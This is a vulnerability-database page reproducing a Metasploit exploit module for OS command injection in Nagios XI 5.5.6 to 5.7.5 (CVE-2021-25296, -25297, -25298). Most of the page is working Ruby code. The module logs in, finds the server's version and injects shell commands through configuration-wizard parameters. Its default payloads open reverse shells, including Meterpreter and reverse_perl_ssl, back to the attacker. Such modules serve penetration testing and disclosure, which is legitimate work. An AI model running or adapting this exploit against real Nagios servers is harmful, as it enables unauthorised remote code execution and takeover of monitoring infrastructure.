Lucene search
K

Nagios XI 5.7.5 Remote Code Execution

🗓️ 08 Feb 2023 00:00:00Reported by Matthew Mathur, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 492 Views

Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Execution, CVE-2021-25296, CVE-2021-25297, CVE-2021-25298, OS command injection vulnerabilities, authenticated user, remote code execution, apache user, official NagiosXI OVA

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nagios XI 5.7.5 Remote Code Execution Exploit
26 Feb 202100:00
zdt
0day.today
Nagios XI 5.7.5 Remote Code Execution Exploit
13 Feb 202300:00
zdt
ATTACKERKB
CVE-2021-25296
15 Feb 202100:00
attackerkb
ATTACKERKB
CVE-2021-25298
15 Feb 202100:00
attackerkb
ATTACKERKB
CVE-2021-25297
15 Feb 202100:00
attackerkb
Circl
CVE-2021-25296
15 Feb 202116:46
circl
Circl
CVE-2021-25297
15 Feb 202116:46
circl
Circl
CVE-2021-25298
7 Feb 202321:54
circl
CISA KEV Catalog
Nagios XI OS Command Injection
18 Jan 202200:00
cisa_kev
CISA KEV Catalog
Nagios XI OS Command Injection
18 Jan 202200:00
cisa_kev
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::NagiosXi  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',  
'Description' => %q{  
This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are  
OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm  
configuration wizards that allow an authenticated user to perform remote code  
execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.  
  
Valid credentials for a Nagios XI user are required. This module has  
been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Matthew Mathur'  
],  
'References' => [  
['CVE', '2021-25296'],  
['CVE', '2021-25297'],  
['CVE', '2021-25298'],  
['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']  
],  
'Platform' => %w[linux unix],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' => [  
[  
'Linux (x86)', {  
'Arch' => [ ARCH_X86 ],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux (x64)', {  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'CMD', {  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'unix',  
# the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 2,  
'DisclosureDate' => '2021-02-13',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def finish_install  
datastore['FINISH_INSTALL']  
end  
  
# Returns a status code an a error message on failure.  
# On success returns the status code and an array so we  
# can update the login_result and res_array variables appropriately.  
def handle_unsigned_license(res_array, username, password, finish_install)  
auth_cookies, nsp = res_array  
sign_license_result = sign_license_agreement(auth_cookies, nsp)  
if sign_license_result  
return 5, 'Failed to sign license agreement'  
end  
  
print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')  
sleep 5  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..4 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 5 # The Nagios XI license agreement still has not been signed  
return 5, 'Failed to sign the license agreement.'  
end  
  
return login_result, res_array  
end  
  
def authenticate  
# Use nagios_xi_login to try and authenticate.  
login_result, res_array = nagios_xi_login(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 4 # Nagios XI is not fully installed  
install_result = install_nagios_xi(password)  
if install_result # On installation failure, result is an array with the code and error message  
return install_result[0], install_result[1]  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..4 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 5 # The license agreement still needs to be signed  
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)  
return login_result, res_array unless (login_result == 0)  
end  
when 5 # The license agreement still needs to be signed  
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)  
return login_result, res_array unless (login_result == 0)  
end  
  
print_good('Successfully authenticated to Nagios XI.')  
# Extract the authenticated cookies and nsp to use throughout the module  
if res_array.length == 2  
auth_cookies = res_array[1]  
if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)  
@auth_cookies = auth_cookies  
else  
return login_result, 'Failed to extract authentication cookies'  
end  
nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)  
if nsp  
@nsp = nsp[1]  
else  
return login_result, 'Failed to extract nsp string'  
end  
else  
return login_result, 'Failed to extract auth cookies and nsp string'  
end  
  
# Set the version here so both check and exploit can use it  
nagios_version = nagios_xi_version(res_array[0])  
if nagios_version.nil?  
return 6, 'Unable to obtain the Nagios XI version from the dashboard'  
end  
  
print_status("Target is Nagios XI with version #{nagios_version}.")  
  
# Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,  
# so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.  
if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'  
nagios_version = '1.0.0'  
end  
@version = Rex::Version.new(nagios_version)  
  
return 0, 'Successfully authenticated and retrieved NagiosXI Version.'  
end  
  
def check  
# Authenticate to ensure we can access the NagiosXI version  
auth_result, err_msg = authenticate  
case auth_result  
when 1  
return CheckCode::Unknown(err_msg)  
when 2, 4, 5, 6  
return CheckCode::Detected(err_msg)  
when 3  
return CheckCode::Safe(err_msg)  
end  
  
if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check  
auth_result, err_msg = authenticate  
case auth_result  
when 1  
fail_with(Failure::Disconnected, err_msg)  
when 2, 4, 5, 6  
fail_with(Failure::UnexpectedReply, err_msg)  
when 3  
fail_with(Failure::NotVulnerable, err_msg)  
end  
end  
  
# execute payload based on the selected targeted configuration wizard  
url_params = {  
'update' => 1,  
'nsp' => @nsp  
}  
# After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298  
# changes from address to ip_address  
if @version <= Rex::Version.new('5.5.7')  
address_param = 'address'  
else  
address_param = 'ip_address'  
end  
  
# CVE-2021-25296 affects the windowswmi configuration wizard.  
if datastore['TARGET_CVE'] == 'CVE-2021-25296'  
url_params = url_params.merge({  
'nextstep' => 3,  
'wizard' => 'windowswmi',  
'ip_address' => Array.new(4) { rand(256) }.join('.'),  
'domain' => Rex::Text.rand_text_alphanumeric(7..15),  
'username' => Rex::Text.rand_text_alphanumeric(7..20),  
'password' => Rex::Text.rand_text_alphanumeric(7..20),  
'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"  
})  
# CVE-2021-25297 affects the switch configuration wizard.  
elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'  
url_params = url_params.merge({  
'nextstep' => 3,  
'wizard' => 'switch',  
address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",  
'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),  
'scaninterfaces' => 'on'  
})  
# CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by  
# specifying the digitalocean option for the wizard parameter.  
elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'  
url_params = url_params.merge({  
address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",  
'nextstep' => 4,  
'wizard' => 'digitalocean'  
})  
else  
fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')  
end  
  
print_status('Sending the payload...')  
# Send the final request. Note that the target is not expected to respond if we get  
# code execution. Therefore, we set the timeout on this request to 0.  
send_request_cgi({  
'method' => 'GET',  
'uri' => '/nagiosxi/config/monitoringwizard.php',  
'cookie' => @auth_cookies,  
'vars_get' => url_params  
})  
end  
  
def exploit  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation